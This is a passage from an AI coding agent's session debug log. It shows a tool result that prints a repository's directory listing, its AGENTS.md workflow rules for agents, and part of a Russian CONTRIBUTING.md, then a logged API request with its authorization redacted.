\u0415\u0441\u043b\u0438\\nprojects/ba-ai-process:\\nREADME.md\\nba-meta-model\\nbuild\\ndecisions\\ndist\\ndocs\\nexperiments\\nmeta-model-guides\\ntests\\n\\nprojects/ba-ai-process/docs:\\nadr\\nanalysis\\nrfc\\n\\nprojects/ba-ai-process/docs/adr:\\n2026-09-adr-018-gigacode-cli-execution-boundary.md\\n2026-09-adr-019-cline-mango-ai-pilot.md\\n\\nprojects/ba-ai-process/docs/analysis:\\n2026-09-23-bcreq-golden-forms-and-feasibility.md\\n2026-09-23-requirements-run-forensics.md\\n2026-09-24-architecture-convergence-and-readiness.md\\n2026-09-29-ba-ai-process-runtime-options.md\\n2026-09-29-cline-package-expectation-gap.md\\n\\nprojects/ba-ai-process/docs/rfc:\\n2026-09-bcreq-abstraction-and-product-routing.md\\n2026-09-bcreq-working-release-pipeline.md\\n2026-09-mango-ba-ai-runtime-cli-deployment.md\\n2026-09-source-pilot-verification.md\\nREADME.md\\nai-education\\nba-requirements\\ncicd\\neducation\\nexternal-knowledge\\ngovernance\\nhub\\nmango\\nopen-ai-ru\\nreputation-technologies\",\n[2026-09-29T07:43:45.993Z] [INFO]         \"is_error\": false\n[2026-09-29T07:43:45.993Z] [INFO]       }\n[2026-09-29T07:43:45.993Z] [INFO]     ]\n[2026-09-29T07:43:45.993Z] [INFO]   },\n[2026-09-29T07:43:45.993Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:45.993Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:45.993Z] [INFO]   \"uuid\": \"324bc1f2-e792-4f15-8436-6574fcfb7f75\",\n[2026-09-29T07:43:45.993Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:45.970Z\",\n[2026-09-29T07:43:45.993Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:43:45.993Z] [INFO]     \"stdout\": \"AGENTS.md\\nCHANGELOG.md\\nCONTRIBUTING.md\\nGOVERNANCE.md\\nLICENSE\\nREADME.md\\nai-governance\\nai-rules\\ndocs\\neducation\\nframeworks\\nguides\\nops\\npractices\\nprojects\\nprojects-sink\\nresearch\\nstandards\\ntemplates\\ntools\\n---\\nstatus: canonical\\nversion: 3.1\\nupdated: 2026-09-27\\ntemperature: 0.1\\nentrypoint: true\\n---\\n\\n# AGENTS.md\\n\\n\\nThis file is the single entrypoint for every AI agent working with this repository. Read it completely before the first action. It is a dispatcher; detailed rules remain in their canonical documents.\\n\\n- archetype: `A`\\n- environment: `local`\\n\\nThe values mirror `.hub-profile.json`, which is the SSOT. A mismatch is a validation failure. This contract applies to every model; model- or environment-specific files may only be generated pointers, never copies of these rules.\\n\\nRule scope is explicit and machine-checkable. ``, ``, `` and `` are **general**: they hold in every repository of the ecosystem and are delivered unchanged into spoke templates. `` is the **only** home for rules of this repository; a spoke replaces its content and never weakens or rewrites the general sections. The section list, the size thresholds and the frontmatter contract are normed once in https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/agents-md-bootstrap-standard.md and are not restated here.\\n\\n\\n\\n1. Read this file before changing files, then follow the full router at https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-routing.md.\\n2. Start from an issue or an explicit request of the repository owner or the task author; read its latest comments and current PR feedback before editing.\\n3. Do not invent repository structure, facts, estimates, or sources. Classify an artifact by content and place it in its canonical home.\\n4. One artifact exists only for an operational need (Anti-Inflation).\\n5. Work through a pull request; direct commits to `main` are forbidden.\\n6. Run applicable validators before committing. A red validator stops the change.\\n7. Normalise the goal before executing: read the project concept and vision, interpret the stated goal in their context, and check that the listed tasks actually close it. Judge a decision tactically (does it close the goal?) and strategically (does it keep the project on course to its vision?); a tactical win that causes a strategic defeat is a defect, and the pull request states the strategic risk. A contradiction between the task, the repository contracts and the project concept is appealed, not silently resolved \u2014 see ``.\\n8. Check the backlog at https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md before starting and update the entry you executed after finishing. Do not add the current task to the backlog retrospectively if it was not there.\\n9. When a task is incomplete, continue within safe explicit scope and record the gap. Escalate only when a missing decision would materially change the result.\\n\\n\\n\\n- Do not create `docs/contracts/`; agent contracts live in `ai-rules/`.\\n- Do not copy rules into model- or environment-specific files. Generated, validator-protected pointers are allowed.\\n- Do not use `ai-generated` in document frontmatter.\\n- Do not add a top-level directory outside the core, archetype, declared environment, or `project_specific_directories` without the required decision record.\\n- Do not add named directory denylists. A non-canonical directory is declared in `.hub-profile.json` with `path` and a non-empty `reason`; absence from the canonical set is not a prohibition.\\n- Do not change `standards/` or `docs/adr/` without explicit task authority.\\n- Do not delete or overwrite another contributor's artifacts instead of creating the required new version.\\n- Do not use relative links to Hub rules from a spoke.\\n- Do not act on an unresolved contradiction by picking one reading silently, and do not stop with an empty result instead of appealing.\\n- Do not execute a knowingly wrong instruction literally, praise the author, apologise for the system's work, or change a position without a new argument or evidence.\\n\\n\\n\\nRecommendations. Apply them unless they conflict with ``, ``, or the goal of the task; a justified deviation is recorded in the pull request. There is no class of \\\"soft rules\\\": a norm is either absolute above or a recommendation here.\\n\\n- Prefer extending an existing canonical artifact over creating a new one.\\n- Test the boundary and the alternative hypothesis before confirming a direction, and record what was falsified.\\n- Keep the diff small and reviewable; one PR closes one goal.\\n- Name the evidence next to the claim, and record an unresolvable anchor as a gap instead of an assumption.\\n\\n\\n\\nThe agent is an assistant with a right to appeal, not an executor of literal text.\\n\\n**Appeal.** The agent MUST appeal to the task author when the statement contradicts an active contract, the project concept, or itself; when the listed tasks do not close the stated goal; or when industry practice makes the requested path materially worse. An appeal states the conflict, the options, and the agent's recommendation. Absence of an appeal is a positive assertion that no contradiction was found. Appeal is not a stop: the agent performs the part of the work that the disputed decision does not touch and carries the question into the pull request body by the escalation contract.\\n\\n**Autonomy by operating mode.** The author sets the mode up front; an omitted mode defaults to Hybrid. The mode sets the level of initiative and execution budget. Modes are normed in https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md; here is the entrypoint summary.\\n\\n| Mode | Goal validation | Backlog initiative | Budget |\\n| --- | --- | --- | --- |\\n| `Creative` | Validates the goal and the task set, explores boundary and alternative hypotheses. | Creates backlog tasks and may execute one it initiated inside the goal. | No preset upper budget beyond model context limits; external research, falsifying hypotheses, case synthesis and measurement are mandatory. |\\n| `Hybrid` | Checks against the goal; optimises the path, does not re-derive the vector. | Creates a backlog task as a proposal only; never starts it alongside the current task. | Balanced depth proportional to risk and model limits. |\\n| `Structured` | Follows the given instructions; escalates contradictions and gaps. | Creates a backlog task only when escalating. | Minimal sufficient to execute and verify the given decisions. |\\n\\n**Backlog.** Check it before starting; update the entry executed after finishing. Any number of new tasks may be created when escalating or when a gap is found. Maximise the number of tasks provided each is justified by a hypothesis, a requirement, a boundary case or a metric, and duplicates no existing entry. An agent without the right to create tasks records the same proposal in the pull request body instead.\\n\\n**Collaboration.** In every mode the agent objects to an error, offers a justified alternative instead of empty execution, and reports facts without praise or apology. https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-collaboration-rules.md governs communication; https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md governs modes and the `Creative` research protocol; https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md governs sync anchors. The anchors expose drift without adding gates. Only a critical risk blocks the disputed part pending the owner's decision.\\n\\n**Boundaries of the project.** Widening the boundary of a task is a project-specific permission and never a default. Where the repository contract does not grant it, an agent that sees the need to go beyond the contract MUST NOT act on its own: it creates a backlog task with the rationale in `docs/analysis/` and leaves the decision to the author. Two escalation controls remain with the human: the operating mode at statement time and the merge decision.\\n\\n\\n\\nRules of this repository only. They do not travel into spokes; a spoke defines its own delta here in line with its concept.\\n\\n1. Hub research expands the considered boundary: missing status, existing linkage, or alignment with an accepted concept is not grounds for excluding an artifact or alternative. Exclusion requires a recorded substantive analysis. This rule governs research in the Hub; spoke execution narrowing scope to its accepted product contract is correct behaviour, not a defect.\\n2. Direction-scoped artifacts of a Hub initiative live in `projects//`, not in the shared `docs/` tree.\\n3. Synthesising reference data is a legitimate Hub method in `Creative` mode; the Hub has no `runs/` or `kb/` home, so synthesised material lives with the research or analysis artifact that produced it.\\n\\n\\n\\n| Need | Canonical route |\\n| --- | --- |\\n| Full task-class routing and priority graph | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-routing.md |\\n| Agent execution rules, modes, autonomy, appeal and DoD | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md |\\n| Communication rules | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-collaboration-rules.md |\\n| Mode profiles and Creative protocol | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md |\\n| Sync anchors | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md |\\n| Preflight onboarding protocol | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md |\\n| Backlog and its rules | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog-instruction.md |\\n| Repository model and artifact homes | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/repo-model.md |\\n| Artifact registry | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/artifact-map.md |\\n| Structure of this file | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/agents-md-bootstrap-standard.md |\\n| Standards | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/standards |\\n| Governance | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/GOVERNANCE.md |\\n\\n\\n\\nAn artifact lives in the home of its execution. Agent contracts \u2014 how the agent works \u2014 are separated from process contracts \u2014 how the subject-matter process is arranged.\\n\\n| Artifact class | Home |\\n| --- | --- |\\n| Agent contract: always-loaded rule | `ai-rules/.md` |\\n| Agent contract: human-invoked command | `ai-rules/commands/.md` |\\n| Agent contract: context-selected skill, self-contained and executable | `ai-rules/skills//SKILL.md` |\\n| Process contract: operational process artifact | `ops/.md` |\\n| Process norm: mandatory reusable rule, may reference other documents | `standards/.md` |\\n| Research | `research//YYYY-MM-DD-name.md` |\\n| Analysis / audit / report | `docs/analysis/`, `docs/audit/`, `docs/report/` |\\n| Architecture decision | `docs/adr/YYYY-MM-adr-NNN-name.md` |\\n\\nA standard states a norm and may delegate detail by reference. An executable contract \u2014 a command or a skill \u2014 is self-contained at the moment the agent executes it.\\n\\n\\n\\nKeep the levels distinct: user story, system functional requirements, system non-functional requirements, executor task, and process constraints. The user story is mandatory. Functional and non-functional requirements describe the **target system being built** (\\\"the system shall let the user ...\\\"), are written only when the task actually needs them, and are never invented to fill a slot. Requirements addressed to the executor are not functional requirements: the executor is bound by the task contract and the Definition of Done.\\n\\n\\n\\nA missing task type, operating mode, or other required field does not stop safe work, and it is not closed by a record alone. Act: derive the value from active contracts only, request the clarification that the derivation could not supply, do the part of the work that does not depend on it, and record every value that remained underived as a gap in the pull request body.\\n\\n\\n\\nDo not read the whole repository. Start with this file, then load only the issue/PR context, nearest README, and canonical routes needed for the task class. Expand context when evidence identifies another dependency.\\n\\n\\n\\nBefore committing, run the applicable commands from https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/CONTRIBUTING.md, including `tools/test-*.sh`, `./tools/validate-frontmatter.sh .`, `./tools/validate-file-naming.sh`, `./tools/validate-repository-structure.sh`, `./tools/validate-rrp-links.sh`, and `python3 tools/generate-manifest.py --check`.\\n\\n\\n\\nCodex reads `AGENTS.md` natively. Other tools may use a native adapter that imports or points to `/AGENTS.md`; the adapter must be generated, marked as such, and protected from manual drift. If a tool cannot auto-load it, the operator supplies `/AGENTS.md` in the system prompt.\\n\\n\\n\\nThe task contract has priority for scope and desired outcome; repository governance has priority for safe execution and artifact placement. Appeal and ask when a required decision is absent, the requested path conflicts with the genome, authorization does not cover a standards/ADR change, or deletion would remove an existing artifact. Waiting for an answer is not a completed state: deliver the undisputed part, open a pull request with a non-empty diff, and record the question with options and a recommendation in the pull request body. A question left only in the issue or inside an artifact counts as unasked. Do not silently violate either branch of this priority graph.\\n\\n---\\nstatus: canonical\\nversion: 1.14\\nupdated: 2026-08-17\\ntemperature: 0.1\\n---\\n\\n# Contributing\\n\\n\u0412\u043a\u043b\u0430\u0434 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043c\u0430\u043b\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432,\\ntraceability \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f hybrid human + AI work.\\n\\n## Workflow\\n\\n1. \u041d\u0430\u0447\u0438\u043d\u0430\u0439\u0442\u0435 \u0441 GitHub issue, \u0433\u0434\u0435 \u0435\u0441\u0442\u044c context, scope, \u044f\u0437\u044b\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430,\\n   acceptance criteria \u0438 forbidden changes.\\n2. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0435\u0434\u0438\u043d\u044b\u0439 5-\u0431\u043b\u043e\u0447\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\\n   [.github/ISSUE_TEMPLATE/task.md](.github/ISSUE_TEMPLATE/task.md) \u0438\u043b\u0438\\n   GitHub-native \u0444\u043e\u0440\u043c\u0443 [.github/ISSUE_TEMPLATE/task.yml](.github/ISSUE_TEMPLATE/task.yml):\\n   \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u0426\u0435\u043b\u044c, SSOT, \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0437\u0430\u0434\u0430\u0447\u0438, \u0413\u043e\u0442\u043e\u0432\u043e \u043a\u043e\u0433\u0434\u0430.\\n3. \u0420\u0435\u0436\u0438\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c `Operating Mode`\\n   (`Structured` / `Creative` / `Hybrid`), \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c. \u0412 Creative\\n   \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435 \u0446\u0435\u043b\u044c, constraints \u0438 Definition of Done, \u043d\u0435 \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e\\n   \u043b\u0438\u0448\u043d\u0438\u0435 \u0448\u0430\u0433\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\\n4. \u0412\u044b\u0431\u0438\u0440\u0430\u0439\u0442\u0435 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\\n   [ops/repo-model.md](ops/repo-model.md),\\n   [docs/rfc/knowledge-lifecycle-proposal.md](docs/rfc/knowledge-lifecycle-proposal.md) \u0438\\n   [docs/rfc/resolve-artifact-location-proposal.md](docs/rfc/resolve-artifact-location-proposal.md),\\n   \u0435\u0441\u043b\u0438 \u043c\u0435\u0441\u0442\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e.\\n5. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0438\u0437 [standards/README.md](standards/README.md).\\n6. \u0414\u0435\u0440\u0436\u0438\u0442\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 reviewable: \u043e\u0434\u043d\u0430 \u0446\u0435\u043b\u044c, \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438, \u0431\u0435\u0437 unrelated\\n   restructuring.\\n7. \u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044e, changelog \u0438 artifact map, \u0435\u0441\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 active artifact\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\\n8. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0439\u0442\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0435\u0440\u0435\u0434 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c PR.\\n\\n## AI-Assisted Work\\n\\n\u0418\u0418-\u0430\u0433\u0435\u043d\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e\\n[`/AGENTS.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/AGENTS.md).\\n\u041e\u043d \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u043a \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u044b\u043c governance, rules \u0438 standards; \u044d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\\n\u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c workflow \u0432\u043a\u043b\u0430\u0434\u0430 \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u043a\u0443\u0440\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430.\\n\\n### \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0430\u0432\u0442\u043e-\u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u041c\u0435\u0442\u0430\\n\\n\u0410\u0432\u0442\u043e\u0440 \u0437\u0430\u0434\u0430\u0447\u0438 \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043b\u044c \u0438 Operating Mode. AI-\u0430\u0433\u0435\u043d\u0442 \u043e\u0431\u044f\u0437\u0430\u043d\\n\u0434\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0443\u044e \u041c\u0435\u0442\u0430 \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432:\\n\\nOperating Mode \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u0443\u0435\u0442 \u0448\u0438\u0440\u0438\u043d\u0443 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u043e\\n[\u041f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 3 ADR-010](docs/adr/2026-08-adr-010-agent-autonomy-principles.md):\\n`Structured`, `Creative` \u0438 `Hybrid` \u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0442 \u0446\u0435\u043b\u044c \u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u044b.\\n\\n| \u0427\u0442\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 | \u041a\u0430\u043a \u0434\u043e\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f |\\n| --- | --- |\\n| Target artifact | \u041f\u043e `ops/artifact-map.md`, `ops/repo-model.md` \u0438 resolver prompt. |\\n| Lifecycle stage | \u041f\u043e `docs/rfc/knowledge-lifecycle-proposal.md`; \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a gap. |\\n| L1-L4 link | Product docs \u0434\u0430\u044e\u0442 L1-L2, governance/standards/templates \u0434\u0430\u044e\u0442 L3-L4. |\\n| Validation | \u041c\u0438\u043d\u0438\u043c\u0443\u043c: frontmatter, structure validator, manifest check when templates changed. |\\n\\n\u042f\u0432\u043d\u0430\u044f \u041c\u0435\u0442\u0430 \u0432 issue \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 hard rules. \u0415\u0441\u043b\u0438\\nprojects/ba-ai-process:\\nREADME.md\\nba-meta-model\\nbuild\\ndecisions\\ndist\\ndocs\\nexperiments\\nmeta-model-guides\\ntests\\n\\nprojects/ba-ai-process/docs:\\nadr\\nanalysis\\nrfc\\n\\nprojects/ba-ai-process/docs/adr:\\n2026-09-adr-018-gigacode-cli-execution-boundary.md\\n2026-09-adr-019-cline-mango-ai-pilot.md\\n\\nprojects/ba-ai-process/docs/analysis:\\n2026-09-23-bcreq-golden-forms-and-feasibility.md\\n2026-09-23-requirements-run-forensics.md\\n2026-09-24-architecture-convergence-and-readiness.md\\n2026-09-29-ba-ai-process-runtime-options.md\\n2026-09-29-cline-package-expectation-gap.md\\n\\nprojects/ba-ai-process/docs/rfc:\\n2026-09-bcreq-abstraction-and-product-routing.md\\n2026-09-bcreq-working-release-pipeline.md\\n2026-09-mango-ba-ai-runtime-cli-deployment.md\\n2026-09-source-pilot-verification.md\\nREADME.md\\nai-education\\nba-requirements\\ncicd\\neducation\\nexternal-knowledge\\ngovernance\\nhub\\nmango\\nopen-ai-ru\\nreputation-technologies\",\n[2026-09-29T07:43:45.993Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:43:45.993Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:43:45.993Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:43:45.993Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:43:45.993Z] [INFO]   }\n[2026-09-29T07:43:45.993Z] [INFO] }\n[2026-09-29T07:43:46.039Z] [STDOUT] [log_f9d5da] sending request {\n[2026-09-29T07:43:46.044Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:43:46.048Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:46.053Z] [STDOUT]   options: {\n[2026-09-29T07:43:46.057Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:43:46.062Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:43:46.071Z] [STDOUT]     body: {\n[2026-09-29T07:43:46.076Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:43:46.079Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:43:46.082Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:43:46.086Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:43:46.091Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:43:46.095Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:43:46.098Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:43:46.100Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:43:46.103Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:43:46.106Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:43:46.109Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:43:46.115Z] [STDOUT]       stream: true,\n[2026-09-29T07:43:46.119Z] [STDOUT]     },\n[2026-09-29T07:43:46.125Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:43:46.130Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:43:46.134Z] [STDOUT]       aborted: false,\n[2026-09-29T07:43:46.138Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:43:46.143Z] [STDOUT]       onabort: null,\n[2026-09-29T07:43:46.146Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:43:46.149Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:43:46.152Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:43:46.156Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:43:46.159Z] [STDOUT]     },\n[2026-09-29T07:43:46.165Z] [STDOUT]     stream: true,\n[2026-09-29T07:43:46.168Z] [STDOUT]   },\n[2026-09-29T07:43:46.172Z] [STDOUT]   headers: {\n[2026-09-29T07:43:46.175Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:43:46.179Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:43:46.183Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:43:46.185Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:43:46.191Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:43:46.196Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:43:46.200Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:43:46.203Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:43:46.208Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:43:46.211Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1137\",\n[2026-09-29T07:43:46.217Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:43:46.221Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:43:46.225Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:46.230Z] [STDOUT]     \"x-client-request-id\": \"7d0d5b6a-f33f-4e7a-a840-4d6a90861830\",\n[2026-09-29T07:43:46.234Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:43:46.238Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:43:46.243Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:43:46.246Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:43:46.250Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:43:46.254Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:43:46.256Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:43:46.259Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:43:46.263Z] [STDOUT]   },\n[2026-09-29T07:43:46.267Z] [STDOUT] }\n[2026-09-29T07:43:47.058Z] [STDOUT] [log_f9d5da, request-id: \"req_011CfXMdUgTLDxX71cerjtAr\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1029ms\n[2026-09-29T07:43:47.061Z] [STDOUT] [log_f9d5da] response start {\n[2026-09-29T07:43:47.064Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:47.068Z] [STDOUT]   status: 